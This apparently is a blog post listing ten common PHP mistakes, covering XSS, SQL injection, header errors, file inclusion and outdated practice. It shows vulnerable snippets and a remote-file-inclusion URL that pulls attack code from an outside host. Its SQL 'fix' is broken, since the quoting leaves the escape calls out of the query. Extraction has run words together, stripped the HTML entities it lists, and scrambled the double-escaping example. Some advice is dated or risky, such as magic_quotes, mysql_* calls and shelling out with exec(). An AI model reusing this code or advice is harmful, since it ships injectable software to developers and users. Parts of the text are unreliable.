10 kesalahan yang sering dilakukan dalam coding PHP/pemrograman PHP
1.Not escaping entities
It's basic knowledge; ALL untrusted input(especially user input from forms) has to be sanitized before it isbeing output.
echo$_GET['username'];
Can for instance output:
<script>/*snooping cookie or changing admin passwordscript*/</script>
It is an apparent security risk not to sanitizeuntrusted data before output. Besides you might end up with pageslooking very messy if you do not thread user input the rightway.
How to fix it:
Basically you need to convert < , >, ' and " to their properentities (< , > ' , and") . The functions htmlspecialchars and htmlentities() dothe work.
So here is the rightway:
echohtmlspecialchars($_GET['username'],ENT_QUOTES);
Uncountable scripts carries thisproblem.
2.Not Escaping SQL input
When querying your database all ways make sureuntrusted data gets escaped else your application will bevulnerable to SQL-injections andunreliable, some coders think that they have covered their asses byhaving magic_quotes on in their php.ini. The problem is thatuntrusted input can come from other sources than $_GET, $_POST and$_COOKIE (crawling other websites or using input from thedatabase). And what happens if magic_quotes suddenly is set toOFF?
How to fix it:
I recommend setting magic_quotes to off in php.inior by using .htaccess and then using mysql_real_escape_string() onall variables used in SQL-expressions.
<?php
$sql = "UPDATEusers SET
name='.mysql_real_escape_string($name).'
WHEREid='.mysql_real_escape_string ($id).'";
mysql_query($sql);
?>
In PHP5 combined with mysql5 you can also usebindings.
If you leave magic_quotes On you will justhave to trust your instinct.
3.Wrong use of HTTP-header related functions: header(),session_start(), setcookie()
Have you ever encountered thiswarning? "warning: Cannot add header information -headers already sent [....]
Most likely you have either during development or when deployingPHP applications. When your browser downloads a web page the dataresponse from the server is structured in two different parts: Theheader part and the content part.
The header consist of not visible data such ascookies to be set or if the browser should redirect to anotherlocation. The header always comesfirst.
The content part consists of the visible content HTML, image dataand so on.
If output_buffering isset to Off in php.ini your. When the script outputs duringexecution all header related functions (setcookie(), header(),session_start()) must be called before any output. The problem iswhen somebody develops on one platform configuration and deploys toanother platform configuration, then redirects stops working,cookies and sessions are not beingstored...
How to fixit:
The right way is actually verysimple make your script call all header related functions beforeyou start any output and set output_buffering = Offin php.ini (at your developmentplatform). If this is a problem on existing scripts you can allways hack about with the output controlfunctions.
4.Requiring and including files using untrusteddata
Again and againdo not trust data you do notdeclare implicitly: Including and requiring files from but notlimited to $_GET, $_POST and $_COOKIE is a stupid and mortal path,you want to control which exacts code your serverexecutes.
Example:
index.php
<?
//includingheader, config, database connection, etc
include($_GET['filename']);
//includingfooter
?>
Any hacker can now request followingURL:http://www.yourdomain.com/index.php?filename=anyfile.txt
By doing so the hacker can extract confidentialinformation and execute PHP scripts stored on the server. Now ifallow_url_fopen is set to On in your PHP.ini youwill be doomed:
Try this one out:
http://www.yourdomain.com/index.php?filename=http%3A%2F%2Fdomain.com%2Fphphack.php
Then your script include and parse any code which the web pageon http://www.youaredoomed.com/phphack.phpoutputs. Doing so he can forinstance send spam mails, change passwords, delete files.... I havea very limited imagination.
How to fix it: You have to control which files the script is allowed to includeand which it is not allowed to include.
Note: This is only a quick fix:
<?
//Include onlyfiles that are allowed.
$allowedFiles =array('file1.txt','file2.txt','file3.txt');
if(in_array((string)$_GET['filename'],$allowedFiles)){
include($_GET['filename']);
}
else{
exit('notallowed');
}
?>
5. Syntaxerrors
This covers all the parse and syntax errors YOU make duringdevelopment, these are probably uncountable, right? Usually it is abracket, semi-colon, quotation mark or parenthesis that is missingor placed wrong it is a time eater and that is why I have put it onthe list. There is only one way to fight it: Become aware of whichsyntax errors you make and find ways to avoid repeating them! Ofcourse a good text editor will help you a lot here please, do notuse notepad.
6. No or little use of ObjectOrientation
Too many systems I have seen and been working with have thisproblem. They simply do not have any object orientation. Yes objectand classes for a beginner are abstract but if for instance youbuild a shop system and you are not being object orientated, thenthe source code will become unmaintainable with time and size. PHPhas been supporting basic object orientation since PHP4 and sincePHP5 a lot more and a lot better, so get your ass on to usingit.
7. Not using a framework
95% of all development with PHP is about developing the same fourthings: Create, edit, list and delete. To do all this in pure PHPwithout using a PHP MVCFramework of some kind (let it be home made or open source) isjust plain stupid and a waste of YOURtime (of course there are exceptions and you canhave good explanation on why you don't use aframework).
I talk out of experience andthere is so much PHP out there but so little use of frameworks. Getyour fingers dirty now.
8. Not knowing about existingfunctionality
One of the strong things about PHP is thatthere's so much functionality available in the PHP core but also inthe pure PHP extensions. However time again and again scriptspeople are inventing the deep plate. I am guilty in doing this, butit is waste of time where you should be saving your time. Even whenPHP functionality is out of question you can in a lot of situationssave yourself time by using exec() to execute fromshell.
Save yourself time searching the manualon www.php.netand Google, keep yourself updated on newfeatures in future releases and by ask the right people whenneeded.
9. Using old PHPversions
Thisproblem primarily relates to people developing on PHP4 to put itshort you are developing on a deprecating platform and not usingthe full potential of your knowledge move on, there's a lot of goodstuff and functionality in PHP5. And it is really not a big deal tochange to PHP5 most applications only need a few moderations or nomoderations to cope with the change.
Secondary there is the security risk of running on old andunpatched software it might end up damaging yourapplications.
According to Damien Seguy (founder of the French PHP portalhttp://www.nexen.net) 12% of allPHP servers where running PHP5 by the start of November 2006.
Read the article here (French).
So if you are developing PHP you are most likely (88%) still doingit on PHP4, shame on you!
10. Double escapingquotes
Have you ever seen a web pagedisplay a text with ' or " , itusually happens when a script is made for magic_quotesof (php.ini) and is deployedon a site with magic_quotes on. First PHP runs addslashes() on all GET,POST and COOKIE data then afterwards one more time when the data isbeing stored.
Original text:
It's astringAftermagic quotes on script start:
It's astring
Onquery storage:It's astringHTMLoutput:
It's a string
Another scenario that makes this occur is whena user tries to sign up and inputs invalid data, the user then getpresented to the same form, this time with the input escaped, thesecond time the user posts with the valid data the input is escapedanother time.
This stuffstill happens way too much however mostly new and inexperiencedpeople encounter this.